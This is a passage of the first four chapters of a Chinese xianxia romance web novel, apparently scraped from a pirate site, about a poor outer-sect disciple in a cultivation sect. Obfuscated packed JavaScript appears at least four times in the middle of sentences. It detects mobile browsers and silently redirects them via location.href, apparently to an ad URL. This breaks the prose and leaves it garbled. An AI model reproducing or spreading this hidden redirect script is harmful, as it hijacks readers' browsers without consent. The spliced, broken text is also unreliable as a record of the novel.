《欺负貌美小师叔gb》 1. 第 1 章 贺流虹在埋头专心干饭,耳边传来嗡嗡的议论声。 前后左右的饭桌上都有人在争相传阅一份画册,那几道偷偷议论的声音越来越大,似乎难掩激动,带着压抑的兴奋。 只见画册的封面上,男人容貌堪称绝色,眼尾一点朱砂泪痣,嫣红得诱人,衣衫半褪,仰躺在花丛中,露出劲瘦有力的身材。 而男人光滑白净的皮肤上遍布点点红痕,不知是落下来的花瓣,还是别的什么更耐人寻味的东西,无比地惹人遐想。偏偏他的眼神克制而清冷…… 一个封面就这么不堪入目,难以想象里面的内容有多大尺度。 反正贺流虹上辈子经常浏览的某网站肯定是要被和谐的。 修真界可以随便舞黄的吗,真好。 她数了数储物袋里的资产,决定悄悄买一本涨涨姿势。 自从穿越以来,先是为了赚钱,后来为了赚灵石,每天累得半死不活,很有必要定期进行一下精神娱乐。 隔壁桌的师姐又把画册翻开了一页,显示出一张被细细勾勒过的、放大的脸。 虽没有点名道姓,背景门派也纯属捏造,但大家都在悄悄推测,画册上这张脸是仿着天玄宗小师叔画的。 小师叔景雍,不仅是天玄宗乃至整个修真界千年来最有望实现飞升的第一人,更有修真界第一美人之称,所到之处,吸气声一片,既是被美貌惊艳,也是被实力震慑。 “你看完了吗,给我看看给我看看。” “好喜欢今天刚出来的这册,小师叔被狐妖引诱得手的样子好勾人哦,好会画,看得我快流鼻血了。” “到底是谁画的啊,胆子也太大了吧?” “肯定是自家人,说不定就是神月峰上的。” “神月峰只有两个人,总不能是小师叔自己画的,你就差直接说是周师兄了,不可能,除非他疯了。” “我看就是个道听途说的不入流散修,正经修行的谁没事画这种东西。” “我只想知道新一册什么时候才有得卖,我们这样偷偷地看,掌门他们知道了,我们是不是都要倒霉。” “最好不要真的是我们天玄宗的人干的。我还想在飞升之前看到大结局。” 天玄宗弟子们一边私下偷偷欣赏,一边祈祷画这些东西的人最好不是天玄宗的,否则下半辈子大概就要在执法堂度过了。那他们以后就没得看了。 贺流虹有一搭没一搭听着,往嘴里扒饭的动作一点没停。 虽然不知道传闻中又美又强的小师叔长什么样,但她知道,画册热销成这样,画册的作者每天肯定都能赚到好多灵石。 她怎么就不会画画啊! 她一脸惋惜地给见底的碗里又添满米饭,继续专心干饭。 天玄宗的饭堂,用的都是灵谷,哪怕只是个外门弟子,都能在这里免费填饱肚子。 灵米蒸出来的饭蕴含的灵气很少,稍微有些眼界和能力的人都瞧不上。 可是它免费啊! 像一些外门弟子,天赋一般,经脉虚弱到不能很快适应辟谷丹,吃一吃灵米饭反而更好。 或者是出身贫寒又根基尚浅无权无势,钱包根本支撑不起完全以辟谷丹代替五谷的,向来很珍惜这免费的餐饭。 贺流虹就是这样,出身非常贫寒,天赋非常一般。 在没有修仙之前,她连要饭都抢不过同行,穿越四年,明明十六岁了,看起来还像个十一二岁的孩子。 两年前,她以修真界最垫底的五灵根天赋,踩线进了天玄宗,成为一名外门弟子。 外门学修仙,没有名师名导一对一指点,除了每月一次的大公开课,其余各凭本事。 另外,还需要包揽宗门大大小小的杂事,相当于包吃住没工资的勤杂工。 听起来过得很辛苦,很不风光,但是比要饭强多了。 在免费灵米的喂养下,贺流虹身高每个月都在往上窜,有一位外门师兄每次见到她都要惊叹一声:“呀,贺师妹又长高了。” 贺流虹过得还是很有盼头的。 虽然五灵根的天赋在修真界属于底层中的底层,别人修行一天的进度,搞不好她需要修一年才能赶上,但修真界赚的是灵石,拿去凡间界,灵石是比黄金还难得的东西。 说实话,贺流虹就没打算过一直待在修真界。 筑基成功的修士,寿命会增加两百年。 但是从筑基到金丹,大部分修士会直接卡死到这一步,悄无声息地陨落。 也就是说,像贺流虹这样属于最下面那百分之一的修士,这辈子也就这样了。 她的目标就是筑基。 筑基成功,就回凡间界快乐躺平,做一个身体倍棒吃嘛嘛香的富贵老太。 修真界赚钱,凡间界花,每一分都要带回家。 这么一想,她又感觉没必要买画册了。 贺流虹吃完最后一口免费灵米,一边想着画册的事,一边往炼器堂的方向走。 她的剑坏了,已经拖了很久,砍怪的时候要多砍好几下,昨天在野外砍一只黄鼠狼精的时候终于不幸断掉了。 听说炼器堂有个师姐,人好热心,修东西比其他人便宜。她要去修一修她的生产工具。 一路走来,头顶时不时欻欻飞过去几个衣袂飘飘仙风道骨的同门,偶尔还有金丹真人的坐骑路过,威风凛凛。 御剑要到筑基期才能做到,贺流虹只有羡慕的份。 她走着去的炼器堂。 炼器堂师姐的地盘很好找,刚一问,就有人带她过去了。 上一个人刚走,贺流虹从储物袋拿出她的剑,问:“这位师姐,还能修吗?” 对方清秀的脸上露出为难的神情,摸着下巴:“修……是能修,但你这把剑好像是外门弟子刚入门时发的那把,对吧?” 贺流虹不停点头:“是的是的,师姐,天玄宗真好,这剑免费呢。” 赵炎炎愣了一下,望了这个外门师妹一眼,好久没见过这么清澈的大眼睛了,乌溜溜的。 她劝说道:“师妹,这把剑其实不是什么好东西,都是炼器堂最低等弟子的练手作品,你与其修,不如换一把呢,你可以找我定制啊,还能自己设计造型呢。” 贺流虹被说得有点心动,“那多少钱?” “只要666,加急的话,再加二十,怎么样,很划算吧,我最看不惯那些坐地起价的炼器师,我要让人人都能用上平价好法器!” 贺流虹:“……还,还是帮我修一修吧。” 赵炎炎叹了口气:“那行,修的话,只收你五十,其中十块是手工费,剩下四十是材料费。” 贺流虹摸着自己的储物袋,一阵肉痛,她起早贪黑两年,就赚了这么一点灵石,五十块,她要去野外砍多少只怪才能赚回来啊! “师姐,能不能便宜一点?” 赵炎炎皱皱眉头:“这已经很便宜了,我真没收你高价,不信你去其他地方打听一下。” 贺流虹也知道这价格不算太过分,但是她实在贫穷。 “那用稍微差一点的材料行不行,我就是出去打打偷粮食咬人的老鼠精黄鼠狼精什么的,不用那么讲究。” 赵炎炎拿她没办法:“行吧,那给你把紫铁石换成青铁石,收价四十五。” 贺流虹:“四十行不行?” 赵炎炎有点不耐烦了,深吸了一口气:“师妹,我知道外门弟子讨生活不易,但我也不能做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143272|164589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慈善啊。这样吧,收你四十三,不能再低了,你要修就修,不修就请回吧。” “好吧,那就四十三。”她在储物袋里找灵石,哎了一声,“都没钱买画册了。” 赵炎炎竖起耳朵:“画册?你也看《狐妖和仙尊》?” 那正是贺流虹在饭堂听人讨论的画册名字。 贺流虹:“我准备买来看一看,但还不知道哪里有卖的。” 赵炎炎一把抓住她的手,重重地晃了两下:“只要你看《狐妖和仙尊》,那你就是我异父异母的亲姐妹!” 贺流虹被这位突然态度大变的炼器堂师姐拖进屋子里面。 赵炎炎:“来,来,我这里都有,你想从第一册开始看,还是直接看最新册?” 贺流虹:“呃,这个,那我的剑……” 赵炎炎:“对了,我小点声,这在内门是违禁品,要是周师兄发现了,是会被……” 她话音未落,门口突然闯进来一队人,为首的男人一脸冷酷,大手一挥:“偷看禁书,全部带走!” 贺流虹想撤退的时候已经来不及了。 她万万没想到,天玄宗也有自己的扫黄大队。 执法堂的大门口,画册堆成一摞,包括赵炎炎在内,所有看画册的人都被抓了。 贺流虹还瞧见了几个在饭堂一起吃过饭的熟人。 大家一起把脑袋埋得低低的。 赵炎炎碰了碰她的肩膀,小声问:“喂,我还不知道你叫什么名字呢。” 贺流虹低着头,这种时候开小差说小话,那就是个刺头,要么就是死猪不怕开水烫。 炼器堂师姐敢,她可不敢。 她把脑袋埋得更低了。虽然她很冤,既没钱买皇叔,也没机会拜读,但她欲辩无言。 执法堂执事一声呵斥:“赵炎炎!你还敢嬉皮笑脸!加罚一天!” 赵炎炎缩了缩脖子,含糊不清地咕哝了一声。 执事又说:“还有你!和她一样!” 贺流虹发现所有人都在扭头看自己,惊讶抬头,执事的手指正指着她的鼻子。 她很讶异,很不解:“啊?我吗?” 本来打算多一事不如少一事,认下罪名,和大家一起去药田锄一天草,这事也就过去了。 现在平白无故被加罚,冤上加冤,她就下意识地要喊上一喊了:“我什么都没说啊,大人,草民冤枉啊。” 执事因为她怪腔怪调的说法方式更加不悦,“啪”的甩了一鞭子,擦着她的脸边过去,让她吓得不轻。 “一个外门弟子,没有正当理由,逗留内门炼器堂迟迟不走,意欲何为!还敢喊冤!?” 赵炎炎连忙举手:“这位师妹是来找我帮她修剑的,有正当理由!请执事明鉴!” 执事又甩了一鞭子:“那为何看起了画,修什么剑需要画册!” 赵炎炎:“……” 贺流虹:“哎。”怎么说都是他有理啊,执法堂就是威风。 “你二人,加罚两天!” 执事宣判完毕,回头走向那个始终一脸冷酷守在一边的男人,指着那堆画册,道:“周师兄,这些秽物如何处置才妥当?” 男人冷冷开口:“对师尊不敬,全部烧毁。” 贺流虹在跪了一地的犯错弟子后面,抬头望了他一眼,心想这就是神月峰唯一亲传弟子吗,仅仅一个徒弟的身份就能牛成这样,要是换成师父本人,平时出门在外一定都是横着走吧。 一个执法堂的执事,甩鞭子恐吓完她这个外门弟子,转头就对另一个人毕恭毕敬起来,人比人气死人啊。 对方敏锐地察觉到她的视线,森冷的目光望了过来。 她赶紧又低下头。 2. 第 2 章 这群人当场就被送到神药峰的药田,给一大片快要成熟的灵植除草。 赵炎炎和贺流虹依旧被分到同一块田,药田一望无际,一直延伸到山顶。 执法堂的人一走,赵炎炎就凑过来拉着她说话:“师妹,你是第一次被执法堂抓吧,没事,那就是一群只会拜高踩低的白痴。” 贺流虹:“哎。” “别垂头丧气啊,就三天,一眨眼就过去了。” 贺流虹心想幸好这三天没有需要完成的悬赏任务,否则时间一耽搁,很多发悬赏的人就有理由扣她的钱了。 她和赵炎炎互相正式认识了一下,赵炎炎是炼器堂堂主的亲传弟子之一,炼器堂堂主和执法堂堂主关系不好,所以这次的加罚很难不怀疑有徇私枉法的成分。 赵炎炎翻着白眼骂骂咧咧:“周无疾他在神气什么,他说画上的人是他师父就是了?” “全天下眼尾长泪痣的美人多了,有种把风月宗那群故意往脸上画泪痣的都杀了?” “他师父都没急,他急什么。” “没见过这么自作多情的,不仅天玄宗所有好东西都归他们神月峰,就连泪痣美人都成他师父专属了?” “恶心!我看他师父也不是什么好东西!” 贺流虹不敢搭腔,锄草三天带来的损失已经很让她肉痛,她不想再被继续加罚了。 赵炎炎骂累了就歇会儿,歇够了再继续骂。 贺流虹脑瓜子嗡嗡的,心想修真界有人以画入道,有人以琴入道,还有人盯着一朵花时间久了也能入道,这个炼器堂师姐该不会等会儿以骂街入道了吧? 她把自己想象成一个没有灵魂的傀儡,机械地拔着生长在灵植周围的杂草,任由脑袋放空。 赵炎炎递给她一杯水,说:“师妹,喉咙干了吧,喝点水。” 贺流虹瞧了一眼对方有些起皮的嘴唇,没说自己的喉咙其实还好,毕竟没有像对方一样过度使用。 她接过那杯水,张嘴正要说声谢谢,脚下的药田忽然晃了几下。 刚开始她以为是错觉,直到整座神药峰、整个天玄宗、乃至整个修真界都微微摇晃了几下。 贺流虹手上的那杯水洒了出去,身体也在这阵异动中无法维持平衡,踉跄着往前栽下去。 赵炎炎一把扶住她,“师妹小心。” 又低声咕哝道:“不妙,应该是镇妖塔那边出事了。” 贺流虹只有练气二层的微弱修为,当然无法感觉出来,此时整个修者界都弥漫着一股强大的妖气,各大门派人心惶惶。 南边的天空,云气渐渐被染上乌黑的红,像快要凝固的血。 贺流虹下意识抬头望去,天玄宗神月峰上,一道太阳般金色耀眼的光芒迸射出来,让她短暂地陷入失明,抬手挡住眼睛。 赵炎炎的声音在她耳边响起,带着激动:“太好了,小师叔出关了,我们有救了!” 贺流虹却支撑不住地弯下腰,哽咽道:“好疼、我怎么这么疼……” 她无力地蹲了下去,冷汗浸湿头发,整个人像从水里捞出来。 赵炎炎吓了一跳,顾不上瞻仰神月峰小师叔出关时的风采,“哪里疼,什么情况,怎么会这样?” 贺流虹眼前一阵阵地发白,根据经验,这是快要晕倒的前兆。 这一晕,不知道又要错过多少赚灵石机会。 她抓着赵炎炎的手,气若游丝:“肚子好疼,师姐救我。” “怎么会肚子疼,别慌别慌,让我找找师父给我的药。” 赵炎炎有点手忙脚乱,实在是第一次见到贺流虹这样的情况。 一般外门小弟子因为天赋不佳,修为低微,不幸撞上大修,难以抵挡大修身上逸散出来的灵压,会导致脑袋发晕神识混乱。 但是肚子疼,还疼成这样的,赵炎炎听都没听说过。 她怕喂错了药,把这个可怜的外门小师妹害死,谨慎地拿了一颗止痛药,给她喂下去。 贺流虹囫囵吞下,眼冒金星地抬头,正好在朦胧中望见头顶一大群衣袂飘飘的修士飞过去。 被簇拥在中间的一人坐在一只金色的凤凰上面,凤凰扇动巨大的华丽翅膀,地面卷起狂风,声势浩大地掠过头顶。 尽管离得很远,贺流虹还是看清了坐在凤凰上的人。 那人一身锦绣华袍被最好的炼器师仔细锻造过,加注最牢固的符文,就连腰带上的一根金线,也是贺流虹很难支付得起的价格。 男人眼尾果然生了一颗泪痣,很小,但红得像刚从溢出来的血,神色淡漠到了极致,几乎是一团融不化的雪,高高地待在山巅上,凌驾在众生之上。 药田里所有的人都停了下来,抬头仰望着这个传闻中比天玄宗掌门还要地位超然的小师叔,一时几乎忘了镇妖塔封印松动,万年大妖即将再次临世。 贺流虹在长满杂草的药田里缩成一团,终于痛晕过去。 再次醒来,四周一片安静。 贺流虹躺在一间有些凌乱的屋子里,架子上摆着颜色形状各异的矿石和好坏不一的法器。 赵炎炎推开门进来,惊喜道:“你终于醒了。不知道你住哪里,我就先把你带回炼器堂了。” “谢谢师姐。”贺流虹很感激,从床上下来,整理了被自己睡过的床铺。 她的心里有点忐忑不安,紧张地问:“师姐,你知道我这是怎么了吗?” 可千万不能是得了什么绝症啊,她还想要赚够钱,回凡间当一个两百岁高寿的富贵老太。 赵炎炎说:“我找师尊帮你看过了,师尊说你这是以前受过伤,一直没有痊愈,就在丹田附近。” 贺流虹如临大敌,“堂主还说什么了,我还有救吗?是绝症吗?” “小心养一养,会好的,师尊说不是什么大问题。” 赵炎炎说到这里,好奇地问:“对了,你这伤至少有五年了,你不是说自己拜进天玄宗之前,一直生活在凡间界吗,怎么会被妖气所伤?” 贺流虹也有些纳闷:“啊?五年?” 她这两年在修真界打过不少低阶妖怪,不熟练的时候,和低阶精怪菜鸡互啄,受伤是家常便饭。 但是五年前在凡间界的事,她还真有些记不清了。 赵炎炎点头:“对,五年。” 贺流虹抓耳挠腮,冥思苦想,“不应该啊,如果我五年前就遇到妖怪,肯定会记得很清楚,但我完全没有这种奇遇啊。” 她一穿越就在凡间界的大街上要饭,刚开始还不信命,总觉得自己的系统外挂肯定还没到账,再不济,也是什么遗落在外的公主千金。 但她等了四年,真的就只是个平平无奇人嫌狗憎的小叫花子,没有发生任何特别的事。 生活十分平静和稳定,稳定的饿着肚子,稳定的穷。 赵炎炎:“哎,可能师父她弄错了吧,她也只是个金丹。菜得很。” 贺流虹:“……”可以这么随便嘲笑师父的吗? 不过,想到对方连宗门最金贵的小师叔也照样骂,贺流虹又觉得没什么了。 赵炎炎说话时,已经飞快修好了一把剑。 贺流虹定睛一看,就是自己断掉的那把。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143273|164589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她忙从储物袋里拿出灵石,本来是四十三,但这个师姐是好人,还请自己的师父帮她看病,她又拿了一棵灵草出来,一起递过去。 “师姐,这是我上个月打妖怪的时候凑巧采到的五阶灵草,谢谢你照顾我。” 赵炎炎一把推回去,一脸的不高兴:“你这是什么意思,咱俩也是共患难的交情了,难道我帮你是图你什么?” 她把修好的剑挂在贺流虹腰上,拍拍她的肩膀:“修理费也给你免了,等我攒点材料,之后帮你炼一把更好的。” 贺流虹笑了一下,真诚地说:“师姐,你是好人。” 赵炎炎看着这个外门小师妹清澈天真的大眼睛,摇头叹气:“师妹,你出门在外小心点,人心险恶,别被骗了。” 修真界很少有这么老实的人了,真不知道在外门的这两年是怎么过来的。 贺流虹在外门混了两年,确实也没交到什么知己好友,最多就是一些点头之交。 一来是她不准备在修真界待太久,二来她大部分时间都在外面接任务赚灵石,确实没什么机会和人交流,更别说是交朋友。 赵炎炎说她不知人心险恶,会被骗,她觉得师姐多虑了。 谁会骗一个辟谷丹都买不起的穷鬼啊! 她和赵炎炎道别,从炼器堂离开。 刚走出两步,就被执法堂的人拦住了。 “外门弟子贺流虹是吧,加罚两天,一共三天,你和炼器堂赵炎炎只干了半天,既然现在醒了,就去继续补足天数吧。” 炼器堂门口,赵炎炎悻悻地走出来,冲贺流虹招了招手,干笑了几声。 两个人又回了药田。 三天后,贺流虹重新恢复自由身,马不停蹄直奔金玉满堂。 金玉满堂是一个地名,是天玄宗专门用来发布悬赏任务的地方,交易有保证,不用担心遇上骗子无赖导致白干一场。 但是好做又高酬劳的任务很难接到,一挂上去就被抢走了。 另外就是贺流虹这个练气二层的修为,能接的任务也很有限。 所以她平常都会在宗门外面接私活。 但最近修真界不太平,镇妖塔封印松动了,小师叔景雍几天前出关,带着门人出去加固封印,到现在都没回来,可见事情进行得不是很顺利。 贺流虹身上还有妖气造成的旧伤,这种时候,一个练气二层小菜鸟,能不出宗门就尽量不出去。 金玉满堂里的人比平时多了很多,大概都是和贺流虹差不多的想法,外面危险,还是做宗门内的任务更稳妥。 一块投影石在大厅里投下一面光幕,上面列着目前还没被人接下的悬赏,还根据难度划分了等级。 贺流虹去得晚,挤到投影石前面的时候,已经只剩下几个最难的,以及一两个虽然简单但是酬劳实在太低的。 她从上到下仔细看了一遍,发现了一条漏网之鱼,这个悬赏的难度对她来说不算太高,悬赏金还很丰厚。 发悬赏的人应该和风月宗有过节,任务内容是肉身前往风月宗大门口,大骂三声“南宫月宁你这个负心女,你欠我的用什么还”,就能拿到六百灵石。 贺流虹不知道南宫月宁到底做了什么丧尽天良的事,但是她觉得南宫月宁这个名字看起来就带着财气。 那可是六百灵石! 以防被风月宗以寻衅滋事抓进去,悬赏令主人还体贴地赠送了一张遁走符。 一切都很完美。 唯一的缺点就是,风月宗就在镇妖塔附近,万年大妖封印一旦消失,第一个被波及的就是风月宗。 3. 第 3 章 大概正是这个原因,这个放在平时会第一时间被抢走的悬赏令,现在仍然留在榜上。 周围还有几个大大小小的修士,似乎也在犹豫。 贺流虹平时杀十只老鼠精,最多也才一块灵石。 报酬在十块灵石以上的悬赏,基本上就会有受伤甚至丧命的风险了。 六百灵石,对于不缺钱的修士来说,不值一提,不值得为这点钱冒险。 对于很缺钱的贺流虹来说,这六百灵石实在好诱人。 六百灵石一到手,她都能去定制一把新剑了! 搏一搏,摩托变赛车,贺流虹心一横,飞快取走玉简,离开了这里。 玉简中记载任务详情,并附着一张遁走符。 她把遁走符放进储物袋,小心收好,回去收拾行李。 外门弟子的住处汇聚在同一处,一间间宿舍像蜂巢一样挤满整座山。 由于利用了压缩空间的阵法,看上去密密麻麻,但是内部还算宽敞,每个人都能有个小单间,遮风挡雨,冬暖夏凉,比贺流虹在凡间界那四年的生活条件强太多了。 她拿了几件换洗衣服,又装上路上吃的干粮,锁好门。 最后是最关键的一步:找人换班。 外门弟子包吃包住的有条件的,每个月都要完成定量的工作,药田、矿脉、灵兽园等地方,一些琐碎繁杂不需要太多修为的体力活,都是外门弟子在做。 要是连续三个月都翘班,那就只能收拾包袱走人了。 一个被大宗门除名的弟子,以后在修真界的日子就难混了,哪怕去给刚死过人的人家做个法,你说你是天玄宗的,主人家会自动给你加上一层滤镜,给的酬劳都会更高一点。 贺流虹上个月帮隔壁师姐替过班,换班的事解决得很快。 然后她就马不停蹄奔赴天玄宗最近的一处传送阵。 传送阵比高铁厉害多了,不管有多远,进了传送阵,再一睁眼,就到站了。 可惜的是,从天玄宗到风月宗,并不能直达,中间需要再转好几次车。 天玄宗作为首屈一指的大门派,作为一个开在它大门口的传送阵点,平时都是人挤人。 但是贺流虹这次过去,只有稀稀落落的三两个人在等待。 镇妖塔内溢出的大妖气息弥漫在修真界,贺流虹一个练气二层察觉不出来,所以没有太确切的感受。 但现在出来一瞧,四处人心惶惶。 除了贺流虹这样要钱不要命的,以及那种艺高人胆大的,大部分人都躲在家里等危机过去。 她很快买到票,也就是一张传送符,捏在手上,进了传送阵内。 一阵眩晕后,周围景象焕然一新,到了新的站点。 越接近风月宗,传送阵外排队的越少,气氛也越是凝重。 贺流虹来都来了,也没有临阵逃脱的道理、 最重要的是,传送符真的好贵,她钱都花了,这六百灵石必须挣到手,不然她今年一整年都睡不着觉。 要不是这次情况特殊,贺流虹绝对不会这么奢侈,什么传送阵都别想挣到她的钱。 通往风月宗的最后一个传送阵门口,贺流虹被告知,受到镇妖塔事件影响,联结风月宗的传送通道被临时关闭了。 她只能自己想办法。 不仅是传送阵,镇妖塔附近的主路也都被临时封锁了,闲杂人等不允许通过。 想去风月宗,必须绕路。 看得出来,镇妖塔周围的情况很复杂。 贺流虹只想顺顺利利把这笔钱挣了,没有那种探究修真界重大事件的好奇心,于是小心翼翼绕了一大圈路,尽可能地离镇妖塔越远越好。 风月宗的规模不大,但是在修真界名气很大。 首先,他们的入门标准很特别,天赋高不高不重要,长得要好看。 其次,就是风月宗独一家的双修方式,只走肾不走心,注定要惹上无数风流债。 最后,有传言说风月宗宗主雌雄同体,自己跟自己生了个孩子。 贺流虹在听说这件事后,第一反应就是修真界怎么也喜欢这种耸人听闻的消失,这一看就是为了博眼球弄出来的谣言啊。 进入风月宗的范围以后,出现了一种诡异的现象,十个风月宗男修,八个眼尾都长了泪痣。 贺流虹终于彻底地理解了赵炎炎的愤怒,有泪痣的美人遍地都是,凭什么说她看的黄图画的是天玄宗小师叔! 她盯着坐在她对面的一个拥有同款泪痣的男修,狼吞虎咽着一碗面条。 在风月宗的地界做生意,最大的风险 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143274|164589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是被风月宗的人盯上,轻则骗身骗心,重则人财两空。 所以一眼望去,整条街上的摊贩看起来都是上了年纪佝偻着腰背的老头老太,具有绝对的性缩力。 贺流虹的对面,那个拥有修真界第一美人同款泪痣的男修第六次朝她抛媚眼。 贺流虹一抹嘴,丢下钱,准备继续赶路。 袖子被什么东西给勾住了。 她一回头,一阵香风涌入鼻腔。 男修抛出第七个媚眼,修长手指勾着她的袖子,温柔一笑:“仙友,一个人出门游历吗?” 贺流虹没忍住,打了个喷嚏。 男修被迫躲开,只是手仍然勾着她的袖子没放。 她扯了几下自己的袖子,认真说道:“算了吧,我没钱,玩不起双修的,你换个人吧。” 对方愣了一下,似乎没想到她会这么直白。 但镇妖塔对风月宗影响太大了,好多人不出门,风月宗的地界已经很久没有来过新面孔。 双修既讲究质量,也讲究数量,高质量双修对象毕竟是少数,所以数量上一定要跟上。 没有新面孔,怎么换新对象?没有新对象,修为怎么提升? 风月宗也有风月宗的忧愁。 贺流虹风尘仆仆不修边幅,但是仔细看就知道那张脸丑不到哪里去。 虽然修为低,但一直修的天玄宗的正经功法,每一步都走得踏踏实实,体内灵力纯粹,这样的练气二层,和外面那些杂修的练气二层不能相提并论。 泪痣美人不肯放弃好不容易遇上的目标,跟在贺流虹身边舍不得走,熟练地用上平时勾引女修的各种小把戏。 贺流虹想要去风月宗,对方热情地为她领路,还一脸感动:“你要去参观我的师门吗,我就知道,你对我们风月宗是没有偏见的。真的,我们都是好人。” 贺流虹眼看着走过的路越来越偏僻,来到了一片荒郊野岭,就知道自己被骗了。 她停了下来,不满地看着他眼尾的泪痣。 男修妩媚一笑:“来呀,快跟上来呀小妹妹。” 贺流虹给了他一脚,又一掌劈过去,把他劈晕了。 还小妹妹,油腻! 她也没想到对方战斗力这么弱,平时估计心思都花在玩弄感情上了。 4. 第 4 章 风月宗果然没什么正经人,她不想再冒着人财两空的风险找人问路,咬咬牙,花了一块灵石,催动手上的玉简。 玉简发出淡青色的光,紧接着,上面就出现了投影,这是天玄宗的“论坛”,能发帖回帖,能添加好友,能线上交易。 但是联网需要先交“网费”,贺流虹因为贫穷,硬生生戒了穿越前的网瘾。 她在论坛摸索了一会儿,找到交易区,花了整整十块灵石,买了一份风月宗管辖地界的地形图。 投入又增加了十一块灵石,贺流虹心疼不已。 地图很清楚,她很快找到了风月宗准确位置。 她惊喜地发现,只要穿过这座山,就能看到风月宗的大门。 只是这座山重重叠叠人迹罕至,正常情况下是没人放着大路不走,跑到这个荒郊野岭来超近道的,除非有什么不可告人的计划。 贺流虹把泪痣美男拖到一棵树下绑好,防止他醒过来找她报仇,妨碍她赚钱。 绑人的时候,她不小心碰到对方的脸,随后发现,那颗漂亮的泪痣一擦就掉了,是假的。 为了模仿修真界第一美人,这群风月宗男修真的是什么都干得出来。 她丢下人,只身深入山林。 山中瘴气浓重,在凡间界,这样的高山是难以跨越的天堑。 但是贺流虹现在是一个正儿八经的修士,运用起踏云步,身轻如燕,风一样掠过山林,只留下鬼魅般的残影。 她刚走不久,天边忽然炸开一道惊雷,紧接着乌云密布,山岳摇晃。 这熟悉的感觉……她仰头朝镇妖塔的方向望去,乌血样的浓云当中,有金光乍泄,紧接着,两股极为强盛的力量在空中相撞,惊雷阵阵。 如果没有猜错,镇妖塔的工作不太顺利,搞不好大妖已经逃了出来,两方正式开战了。 高手过招,遍地炮灰。 地面持续摇晃。 贺流虹深感不妙。 她的肚子又疼了起来。 那两股强大的气息逐渐往山林的方向靠近,她下意识想要抱头鼠窜,然而肚子疼得越来越厉害,没跑出一米,就一头栽倒在山坳里。 完了,贪财的报应来了,她今天该不会真要死在这里吧? 为什么她的运气怎么总是这么差! 晕过去的时候,她迷迷糊糊地想,如果这次能保住小命,她再也不为了钱连命都不要了。 …… 一串鸟叫声把贺流虹吵醒了。 好消息,她没死,也不疼了。 坏消息,山塌得很厉害,花十块灵石买的地图失效了,她迷路了。 靠着连蒙带猜,贺流虹走出了昏迷前的那个山坳。 她这才发现,自己整整昏迷了一天一夜。 肚子饿得乱叫,她停下来啃干粮。 啃到一半,忽然听见不远处传来怪异的声音。 好像是谁在娇.喘啊。 贺流虹用力晃了晃脑袋,怀疑自己脑子坏了,谁没事大白天在荒郊野外娇.喘啊。 她继续啃又干又硬的烧饼,心里很想念天玄宗的免费米饭。 那声音又开始了。 该不会是什么妖怪作乱吧? 贺流虹一身正气地拿着剑,循着声音找过去。 她走得非常小心,不是每一个妖怪都能被她打死的,准确来说,大部分妖怪她都打不死。 但是万一呢。 这种野外的小怪,打了不仅能提升修炼经验,还能挖了妖丹剥了皮毛去换钱。 用这种娇.喘的方式吸引猎物,一看就是硬实力不过关,只能耍些小把戏。 贺流虹最终确认声音的来源在一个山洞。 山洞外布置着一层结界,将她挡在外面,无法靠近。 她透过狭窄的洞口往里看,一个负伤的年轻男人,身上的法衣变得破破烂烂,依稀可见曾经是如何披罗戴翠,金装玉裹,价值连城。 只是现在衣服上沾染着大片的血迹,已经看不出原本的颜色。 男人半闭着双眸,脸被散乱下来的乌黑发丝挡着,隐约可见那极致的美貌。 他沾着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143275|164589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鲜艳血迹的嘴唇一张一合,修长干净的手指不安分地拉扯着身上的衣服,将领口扯得越来越松散,露出大片饱满的胸膛,同时,嘴里发出了更加让人脸红耳赤的喘息声。 贺流虹瞪大了眼睛,差点看呆了,这到底是受了快要死的伤,还是中了春天的药,怎么有人受个伤都能伤出发.情期的效果? 在她百思不得其解的时候,男人睁开了双眼,望了过来。 那双漂亮的眼睛因为无法疏解的欲.望而盈满泪水,湿漉漉,直勾勾地望着她。 贺流虹呼吸一滞。 妖,太妖了。 简直就是狐狸精化形。 